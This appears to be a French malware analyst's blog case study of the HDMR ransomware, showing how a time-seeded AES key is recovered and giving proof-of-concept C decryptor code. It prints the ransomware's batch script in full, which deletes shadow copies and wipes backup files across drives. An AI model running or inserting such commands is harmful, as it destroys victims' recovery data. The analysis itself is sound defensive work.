HDMR Ransomware (another case study)

Il y a quelques semaines déjà (le 24 octobre 2019), j’ai été contacté via mon Linkedin par un ancien collègue de travail. Le temps passe vite… à l’époque, je travaillais pour Thales Electron Device.

Un de ses clients s’est vu infecter par un Ransomeware. Pour en savoir un peu plus, je lui demande de bien vouloir m’envoyer l’échantillon.

Un peu pris par le temps, j’ai regardé rapidement le « sample » sans trop rentrer dans les détails pour comprendre que ce Malware n’a pas du tout l’air d’être « trop obfuscé », ni même « packé ».

Pour ce qui est de la recherche de traces d’algorithmes cryptographiques, j’ai regardé rapidement avec KANAL (un plugin de PEiD).

Et puis, j’ai mis cette analyse sur pause parce qu’une solution a été trouvée pour résoudre l’infection. Il faut aussi comprendre que mon travail d’analyste est rarement rémunéré (les priorités ne sont donc plus les mêmes).

Finalement, j’ai décidé de reprendre l’analyse de ce Malware comme sujet pour une présentation que je dois faire prochainement.

Ce que je sais déjà sur cette menace :

  • Le Malware est appelé HDMR Ransomware sans doute à cause de l’extension qu’il laisse après le chiffrement des données « .hdmr » (ou la chaîne de caractères écrite à la fin des fichiers cryptés). Mais il est également connu sous le nom « GO-SPORT ».

Avec PeStudio, on observe que cette menace est désormais connue par un bon nombre d’anti-virus (ce qui n’était pas le cas quelques semaines plus tôt …).

Certaines chaînes de caractères font référence à des fonctions cryptographiques (Rijndael, RijndaelEncryption, …). Plus précisément, le Malware semble utiliser la librairie CryptoPP.

D’autres chaînes de caractères font référence à des processus que le programme « kill » lors de son exécution (on l’observe plus tard lors de l’analyse dynamique) ainsi qu’ à des « big integer » (ce qui peut laisser supposer de l’utilisation d’un algorithme de cryptographie asymétrique) déjà observés avec le plugin KANAL de PEiD.

Ensuite, avec le désassembleur IDA j’ai entrepris une analyse statique. Mon premier objectif était de comprendre le fonctionnement global du Malware en me concentrant principalement sur le chiffrement des données.

Je ne vais pas expliquer tout le déroulement, mais grosso merdo, en partant de la fonction WinMain, j’ai analysé les « calls » en suivant le déroulement logique du programme (et puis à coups de xref …).

Pour les fonctions de cryptographie avec IDA, j’ai utilisé le plugin « findcrypt3 » et de fil en aiguille j’ai établi le graphe suivant.

Avant de lancer son attaque cryptographique, le Malware tente de « killer » certains processus sur le système hôte ciblé. Cette étape lui est nécessaire pour :

  • Débloquer les fichiers protégés par les applications (acronis, outlook, sql, visio, veam, …),
  • Ne pas être gêné par des processus spécifiques (monitor, smcinst, smcservice, klnagent, …).

A son exécution, le Malware tente ainsi de tuer différents processus. Ensuite, il génère et exécute un fichier Batch (qui s’autodétruit après son exécution).

Le fichier de script Batch sert à supprimer les potentielles instances VSS présentes sur le système hôte ciblé.

vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /all /quiet
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
del %0

A ce stade, pour étudier plus facilement la cryptographie, j’ai désactivé ALSR sur ma sandbox. De cette façon, l’image de base du programme reste la même dans mon debugger, ce qui facilite la lecture avec IDA.

Avec mon debugger, je « breakpoint » sur l’adresse de la fonction de chiffrements pour en observer la clé. Et en relançant plusieurs fois le programme pour étudier l’algorithme, je me rends vite à l’évidence que pour un même fichier (que j’ai choisi arbitrairement) la clé de chiffrements semble être aléatoire.

Ainsi avec mon désassambleur, je remonte la fonction précédente que j’ai appelée EncryptValidFile et qui débute à l’adresse 0x00402410.

Un peu plus bas dans cette fonction, je peux observer ce qui suit.

Je vais m’expliquer, mais avant, une petite représentation en « c » du code ci-dessus s’impose.

# define _CRT_SECURE_NO_WARNINGS //!< This is a PoC.

# include <Windows.h>
# include <stdio.h>
# include <time.h>

int wmain(int argc, wchar_t *argv[]) {

  //!< _time64: 'https://docs.microsoft.com/fr-fr/cpp/c-runtime-library/reference/time-time32-time64?view=vs-2019'.
  time_t timestamp = _time64(NULL);
  printf("Time in seconds since UTC 1/1/70:\t%lld\n", (LONGLONG)timestamp);

  //!< srand: 'https://docs.microsoft.com/en-us/previous-versions/f0d4wb4t(v%3Dvs.140)'.
  srand(timestamp);
  
  for (int i = 0; i <= 15; i++) {
    //!< rand: 'https://docs.microsoft.com/en-us/previous-versions/398ax69y(v%3Dvs.140)'.
    int c = rand() & 0x800000ff;

    if (c < 0) { c = c | 0x0fffff00; }

    printf("0x%x\n", c);
  }

  return(EXIT_SUCCESS);
}

La fonction __time64() retourne le temps en secondes écoulées depuis minuit, le 1er janvier 1970. Autrement dit l’heure actuelle en secondes. Cette valeur est utilisée comme « seed » dans la fonction srand().

La fonction srand() définit le point de départ pour générer une série d’entiers pseudo-aléatoires dans le thread actuel.

La fonction rand() renvoie un entier pseudo-aléatoire compris entre 0 et RAND_MAX(32767). Il faut utiliser la fonction srand() pour construire le générateur de nombres pseudo-aléatoires avant d’appeler rand().

Le truc ici, c’est que si la graine utilisée pour initialiser la fonction srand() est la même, la séquence rand() sera également identique.

Ainsi la clé de chiffrements est générée par une chaîne aléatoire créée par une valeur initiale de l’heure actuelle. Alors, si nous pouvons trouver l’heure qui a été utilisée lors du cryptage, nous pouvons reproduire la clé de chiffrements.

Désormais, l’objectif est de déchiffrer un fichier crypté par le Ransomware. J’ai dans un premier temps essayé de le faire à la main (non pas avec un crayon, mais avec JCryptool).

Au passage, l’algorithme utilisé est de l’AES (Rijndael) mais je n’ai pas encore identifié le mode. Comme déjà observé plus haut, le Malware utilise la librairie CryptoPP (le nom de la librairie est inclus dans le nom de la fonction). Par chance, c’est un algorithme qui doit sûrement respecter le « standard ».

Ensuite, je n’ai pas observé de vecteurs d’initialisation dans la fonction AES, donc, j’élimine CBC. Je suppose ainsi que je dois « dealer » avec un algorithme AES-128-ECB (128 à cause de la taille de la clé, je vais donc travailler sur cette hypothèse).

En plus, j’ai observé un truc bien chiant :

  • Les fichiers ne sont pas complètement cryptés (en tout cas la fin du fichier ne l’est pas s’il reste moins de 16 bytes, sans doute une erreur d’implémentation et ce n’est pas la seule). Ceci révèle une information intéressante, le chiffrement est effectué par « block » de 16 bytes.

Si je tente de déchiffrer le fichier crypté tel quel, j’obtiens une erreur car le texte chiffré n’est pas un multiple de la taille du « block » (dans ce cas le « block » fait 16 bytes).

Alors, je modifie le fichier chiffré pour supprimer les bytes à la fin de celui-ci (qui ne sont pas chiffrés). Et je relance le déchiffrement …

Dans la capture d’écran suivante, la série de « aaaaa … » confirme le déchiffrement du fichier (youpi !).

A présent, mon nouvel objectif est d’implémenter un algorithme AES-128-ECB, j’ai le choix d’utiliser la même librairie que le Malware (mais je ne suis pas fan) ou de trouver une autre implémentation d’AES (par exemple Tiny-AES).

J’ai pris le second choix en utilisant Tiny-AES (je n’ai gardé que les fonctions nécessaires) et en ajoutant également une fonction d’entropie (Shannon).

# include "crypto.h"
# include <math.h>

//!< https://github.com/kokke/tiny-AES-c

//!< The number of columns comprising a state in AES. This is a constant in AES. Value = 4
# define Nb 4

# define Nk 4  //!< The number of 32 bit words in a key.
# define Nr 10 //!< The number of rounds in AES Cipher.

//!< The round constant word array, Rcon[i], contains the values given by 
//!< x to the power (i - 1) being powers of x (x is denoted as {02}) in the field GF(2 ^ 8).
static const uint8_t Rcon[11] = { 
  0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36
};

//!< The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
//!< The numbers below can be computed dynamically trading ROM for RAM - 
//!< This can be useful in (embedded) bootloader applications, where ROM is often limited.
static const uint8_t sbox[256] = {
//  0     1     2     3     4     5     6     7     8     9     A     B     C     D     E     F
  0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
  0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
  0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
  0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
  0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
  0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
  0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
  0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
  0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
  0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
  0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
  0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
  0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
  0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
  0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
  0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
};

static const uint8_t rsbox[256] = {
  0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
  0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
  0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
  0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
  0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
  0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
  0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
  0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
  0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
  0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
  0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
  0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
  0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
  0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
  0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
  0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d
};

# define getSBoxInvert(num) (rsbox[(num)])
# define getSBoxValue(num) (sbox[(num)])

# define Multiply(x, y)                             \
    (  ((y & 1) * x) ^                              \
    ((y>>1 & 1) * xtime(x)) ^                       \
    ((y>>2 & 1) * xtime(xtime(x))) ^                \
    ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^         \
    ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))   \

//!< state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];

static void InvMixColumns(state_t *state);
static void InvShiftRows(state_t *state);
static void InvSubBytes(state_t *state);
static void MixColumns(state_t *state);
static void ShiftRows(state_t *state);
static void SubBytes(state_t *state);
static uint8_t xtime(uint8_t x);

//!< --------------------------------------------------------------------------

//!< This function adds the round key to state.
//!< The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t *state, const uint8_t *RoundKey) {
  uint8_t i, j;
  for (i = 0; i < 4; ++i) {
    for (j = 0; j < 4; ++j) {
      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
    }
  }
}

//!< Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t *state, const uint8_t *RoundKey) {
  uint8_t round = 0;

  //!< Add the First round key to the state before starting the rounds.
  AddRoundKey(0, state, RoundKey);

  //!< There will be Nr rounds.
  //!< The first Nr-1 rounds are identical.
  //!< These Nr-1 rounds are executed in the loop below.
  for (round = 1; round < Nr; ++round) {
    SubBytes(state);
    ShiftRows(state);
    MixColumns(state);
    AddRoundKey(round, state, RoundKey);
  }

  //!< The last round is given below.
  //!< The MixColumns function is not here in the last round.
  SubBytes(state);
  ShiftRows(state);
  AddRoundKey(Nr, state, RoundKey);
}

static void InvCipher(state_t *state, const uint8_t *RoundKey) {
  uint8_t round = 0;

  //!< Add the First round key to the state before starting the rounds.
  AddRoundKey(Nr, state, RoundKey);

  //!< There will be Nr rounds.
  //!< The first Nr-1 rounds are identical.
  //!< These Nr-1 rounds are executed in the loop below.
  for (round = (Nr - 1); round > 0; --round) {
    InvShiftRows(state);
    InvSubBytes(state);
    AddRoundKey(round, state, RoundKey);
    InvMixColumns(state);
  }

  //!< The last round is given below.
  //!< The MixColumns function is not here in the last round.
  InvShiftRows(state);
  InvSubBytes(state);
  AddRoundKey(0, state, RoundKey);
}

//!< MixColumns function mixes the columns of the state matrix.
//!< The method used to multiply may be difficult to understand for the inexperienced.
//!< Please use the references to gain more information.
static void InvMixColumns(state_t *state) {
  int i;
  uint8_t a, b, c, d;
  for (i = 0; i < 4; ++i) {
    a = (* state)[i][0];
    b = (* state)[i][1];
    c = (* state)[i][2];
    d = (* state)[i][3];

    (* state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
    (* state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
    (* state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
    (* state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
  }
}

static void InvShiftRows(state_t *state) {
  uint8_t temp;

  //!< Rotate first row 1 columns to right.
  temp = (* state)[3][1];
  (* state)[3][1] = (* state)[2][1];
  (* state)[2][1] = (* state)[1][1];
  (* state)[1][1] = (* state)[0][1];
  (* state)[0][1] = temp;

  //!< Rotate second row 2 columns to right.
  temp = (* state)[0][2];
  (* state)[0][2] = (* state)[2][2];
  (* state)[2][2] = temp;

  temp = (* state)[1][2];
  (* state)[1][2] = (* state)[3][2];
  (* state)[3][2] = temp;

  //!< Rotate third row 3 columns to right.
  temp = (* state)[0][3];
  (* state)[0][3] = (* state)[1][3];
  (* state)[1][3] = (* state)[2][3];
  (* state)[2][3] = (* state)[3][3];
  (* state)[3][3] = temp;
}

//!< The SubBytes Function Substitutes the values in the
//!< state matrix with values in an S-box.
static void InvSubBytes(state_t *state) {
  uint8_t i, j;
  for (i = 0; i < 4; ++i) {
    for (j = 0; j < 4; ++j) {
      (* state)[j][i] = getSBoxInvert((* state)[j][i]);
    }
  }
}

//!< This function produces Nb(Nr + 1) round keys. The round keys are used in each round to decrypt the states. 
static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) {
  unsigned i, j, k;
  uint8_t tempa[4]; //!< Used for the column/row operations.

  //!< The first round key is the key itself.
  for (i = 0; i < Nk; ++i) {
    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
  }

  //!< All other round keys are found from the previous round keys.
  for (i = Nk; i < Nb * (Nr + 1); ++i) {
    {
      k = (i - 1) * 4;
      tempa[0] = RoundKey[k + 0];
      tempa[1] = RoundKey[k + 1];
      tempa[2] = RoundKey[k + 2];
      tempa[3] = RoundKey[k + 3];
    }

    if (i % Nk == 0) {
      //!< This function shifts the 4 bytes in a word to the left once.
      //!< [a0, a1, a2, a3] becomes [a1, a2, a3, a0]

      //!< Function RotWord()
      {
        const uint8_t u8tmp = tempa[0];
        tempa[0] = tempa[1];
        tempa[1] = tempa[2];
        tempa[2] = tempa[3];
        tempa[3] = u8tmp;
      }

      //!< SubWord() is a function that takes a four-byte input word and 
      //!< applies the S-box to each of the four bytes to produce an output word.

      //!< Function Subword()
      {
        tempa[0] = getSBoxValue(tempa[0]);
        tempa[1] = getSBoxValue(tempa[1]);
        tempa[2] = getSBoxValue(tempa[2]);
        tempa[3] = getSBoxValue(tempa[3]);
      }

      tempa[0] = tempa[0] ^ Rcon[i / Nk];
    }

    j = i * 4; k = (i - Nk) * 4;
    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
  }
}

//!< MixColumns function mixes the columns of the state matrix.
static void MixColumns(state_t *state) {
  uint8_t i;
  uint8_t Tmp, Tm, t;
  for (i = 0; i < 4; ++i) {
    t = (* state)[i][0];
    Tmp = (* state)[i][0] ^ (* state)[i][1] ^ (* state)[i][2] ^ (* state)[i][3];
    Tm = (* state)[i][0] ^ (* state)[i][1]; Tm = xtime(Tm);  (* state)[i][0] ^= Tm ^ Tmp;
    Tm = (* state)[i][1] ^ (* state)[i][2]; Tm = xtime(Tm);  (* state)[i][1] ^= Tm ^ Tmp;
    Tm = (* state)[i][2] ^ (* state)[i][3]; Tm = xtime(Tm);  (* state)[i][2] ^= Tm ^ Tmp;
    Tm = (* state)[i][3] ^ t;              Tm = xtime(Tm);  (* state)[i][3] ^= Tm ^ Tmp;
  }
}

//!< The ShiftRows() function shifts the rows in the state to the left.
//!< Each row is shifted with different offset.
//!< Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t *state) {
  uint8_t temp;

  //!< Rotate first row 1 columns to left.
  temp = (* state)[0][1];
  (* state)[0][1] = (* state)[1][1];
  (* state)[1][1] = (* state)[2][1];
  (* state)[2][1] = (* state)[3][1];
  (* state)[3][1] = temp;

  //!< Rotate second row 2 columns to left.
  temp = (* state)[0][2];
  (* state)[0][2] = (* state)[2][2];
  (* state)[2][2] = temp;

  temp = (* state)[1][2];
  (* state)[1][2] = (* state)[3][2];
  (* state)[3][2] = temp;

  //!< Rotate third row 3 columns to left.
  temp = (* state)[0][3];
  (* state)[0][3] = (* state)[3][3];
  (* state)[3][3] = (* state)[2][3];
  (* state)[2][3] = (* state)[1][3];
  (* state)[1][3] = temp;
}

//!< The SubBytes Function Substitutes the values in the
//!< state matrix with values in an S-box.
static void SubBytes(state_t *state) {
  uint8_t i, j;
  for (i = 0; i < 4; ++i) {
    for (j = 0; j < 4; ++j) {
      (*state)[j][i] = getSBoxValue((*state)[j][i]);
    }
  }
}

static uint8_t xtime(uint8_t x) {
  return((x << 1) ^ (((x >> 7) & 1) * 0x1b));
}

//!< --------------------------------------------------------------------------

void crypto::_aes_ecb_decrypt(const struct AES_ctx *ctx, uint8_t *buf) {
  //!< The next function call decrypts the PlainText with the Key using AES algorithm.
  InvCipher((state_t *)buf, ctx->RoundKey);
}

void crypto::_aes_ecb_encrypt(const struct AES_ctx *ctx, uint8_t *buf) {
  //!< The next function call encrypts the PlainText with the Key using AES algorithm.
  Cipher((state_t *)buf, ctx->RoundKey);
}

void crypto::_aes_init_ctx(struct AES_ctx *ctx, const uint8_t *key) {
  KeyExpansion(ctx->RoundKey, key);
}


double entropy::_shannon(const unsigned char *p, unsigned int size) {
  double entropy = 0.0;

  int histogram[256];
  size_t i;

  memset(histogram, 0, sizeof(int) * 256);
  for (i = 0; i < size; ++i)
    ++histogram[p[i]];

  for (i = 0; i < 256; ++i) {
    if (histogram[i])
      entropy -= (double)histogram[i] / size * log2((double)histogram[i] / size);
  }
  return(entropy);
}

En gros, j’ai mis en oeuvre l’algorithme de génération de clés et une fonction pour le bruteforce (le code source complet est/sera disponible sur Ghithub).

void s_generate_aes_key(int time_vector, LPSTR key) {
  //!< srand: 'https://docs.microsoft.com/en-us/previous-versions/f0d4wb4t(v%3Dvs.140)'.
  srand(time_vector);

  for (int i = 0; i <= 15; i++) {
    //!< rand: 'https://docs.microsoft.com/en-us/previous-versions/398ax69y(v%3Dvs.140)'.
    int c = rand() & 0x800000ff;

    if (c < 0) { c = c | 0x0fffff00; }
    
    key[i] = c;
  }
}
bool s_brute_force(LPWSTR filename, unsigned int timestamp, LPVOID &buffer, DWORD buffer_size, double entropy) {
  HANDLE input_file = CreateFileW(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL);
  if (input_file == INVALID_HANDLE_VALUE) { return(false); }

  DWORD file_size = GetFileSize(input_file, NULL);
  char *p = (char *)malloc(buffer_size);

  char key_candidate[15] = { 0 };
  struct AES_ctx aes_context = { 0 };

  for (unsigned int v = timestamp; v <= 2147483647; v++) {  
    printf("\r     - Trying timestamp   | %d", v);
    fflush(stdout);

    //!< Generate AES key from timestamp (back to the future).
    s_generate_aes_key(v, key_candidate);
    crypto::_aes_init_ctx(&aes_context, (const uint8_t *)key_candidate);

    DWORD total_bytes = 0;
    DWORD readed_bytes = 0;

    const size_t chunk_size = CHUNK_SIZE;
    BYTE chunk[chunk_size] = { 0 };

    //!< Always at begin of encrypted file (think loop).
    if (SetFilePointer(input_file, 0, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { return(FALSE); }

    ZeroMemory(chunk, chunk_size);
    while (ReadFile(input_file, chunk, chunk_size, &readed_bytes, NULL)) {
      if (readed_bytes == 0) { break; }
      total_bytes += readed_bytes;

      //!< Decrypt into the buffer.;
      if (readed_bytes == CHUNK_SIZE) { //!< DO NOT DECRYPT THE LAST BYTES SEQUENCE IF IT HAS NOT 16-BITS (CHUNK SIZE).
        crypto::_aes_ecb_decrypt(&aes_context, chunk);
      }
      memcpy(&p[total_bytes - chunk_size], chunk, chunk_size);
      ZeroMemory(chunk, chunk_size);
    }
    if (total_bytes == buffer_size) {
      buffer = p;

      //!< Check if the current entropy is much lower than the initial value.
      double e = entropy::_shannon((unsigned char *)buffer, buffer_size);
      if (e < (entropy / 2)) { //!< lol ...
        wprintf(L"\n");
        console::_printf_ex(MSG_INFO, L"Password found with this timestamp: %d.\n", v);
        console::_printf_ex(NULL, L"     - Clear text entropy | %f\n", e);

        break;
      }
    }
    ZeroMemory(p, buffer_size);

    ZeroMemory(&aes_context, sizeof(aes_context));
    ZeroMemory(key_candidate, sizeof(key_candidate));
  }
  CloseHandle(input_file);

  ZeroMemory(&aes_context, sizeof(aes_context));
  ZeroMemory(key_candidate, sizeof(key_candidate));

  return(true);
}

Pour la condition de sortie de la boucle, le fichier est decrypté si l’entropie « courante » est legèrement moins élevée que l’entropie initiale (ceci n’est valable QUE pour un fichier texte).

Ensuite, j’ai volontairement exécuté le logiciel malveillant sur ma sandbox. J’ai remarqué que ce Malware ajoute un « footer » (dans chaque fichier) après le chiffrement.

En fait, dans le fichier de sortie, il y a les données cryptées + un retour chariot « \r\n » + une chaîne de données (chiffrée ???) se finissant par « HDMR ».

Je n’ai pas étudié cette partie, je suppose juste que cela doit servir au déchiffrement des fichiers avec le logiciel « officiel ».

Cependant, ces données semblent avoir la même taille, 142 bytes (quelque soit le fichier sur le disque). Je suppose que c’est une structure « struct » d’une taille de 140 bytes (142 – « \r\n »).

J’ai ainsi modifié mon code pour prendre en compte cette contrainte supplémentaire. J’ai également ajouté la possibilité de reconnaître certains formats de fichiers (doc, docx, ppt, pptx, zip, pdf, …).

//!< https://www.filesignatures.net/index.php?search=D0CF11E0A1B11AE1&mode=SIG
# define HEADER_MSOFFICE_DOCUMENTS "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"

//!< https://www.filesignatures.net/index.php?search=504B0304&mode=SIG
# define HEADER_MSOFFICE_DOCUMENTS_EX "\x50\x4B\x03\x04"

//!< https://www.filesignatures.net/index.php?search=pdf&mode=EXT
# define HEADER_PDF_DOCUMENT "\x25\x50\x44\x46"

//!< https://www.filesignatures.net/index.php?search=png&mode=EXT
# define HEADER_PNG_DOCUMENT "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A"

bool static s_check_decryption(LPVOID &buffer, DWORD buffer_size, double entropy) {
  //!< Check if the current entropy is much lower than the initial value.
  double e = entropy::_shannon((unsigned char *)buffer, buffer_size);
  if (e < (entropy - 1.5)) { //!< lol ...
    wprintf(L"\n");
    console::_printf_ex(NULL, L"     - Clear text entropy | %f\n", e);
    return(true);
  } else {
    //!< Check for file header.
    if (strncmp((const char *)buffer, HEADER_MSOFFICE_DOCUMENTS, 8) == 0) {
      return(true);
    }
    else if (strncmp((const char *)buffer, HEADER_MSOFFICE_DOCUMENTS_EX, 4) == 0) {
      return(true);
    }
    else if (strncmp((const char *)buffer, HEADER_PDF_DOCUMENT, 4) == 0) {
      return(true);
    }
    else if (strncmp((const char *)buffer, HEADER_PNG_DOCUMENT, 8) == 0) {
      return(true);
    }
  }
  return(false);
}

Attention! Le code fourni est un PoC (autrement dit, il y a des erreurs que je n’ai pas corrigées, vous devez savoir ce que vous faites …). Tous les formats de fichiers ne sont pas pris en compte.

Cependant, le décryptage est alors possible avec un peu de travail … et sans payer de rançon.

Pour finir, la graine utilisée n’est pas très loin du LastWriteAccess 😉

Alors une fonction récursive qui parcourt l’arborescence et une petite modification dans la fonction de bruteforce devraient permettre de décrypter les fichiers en un temps raisonnable.

Conclusions

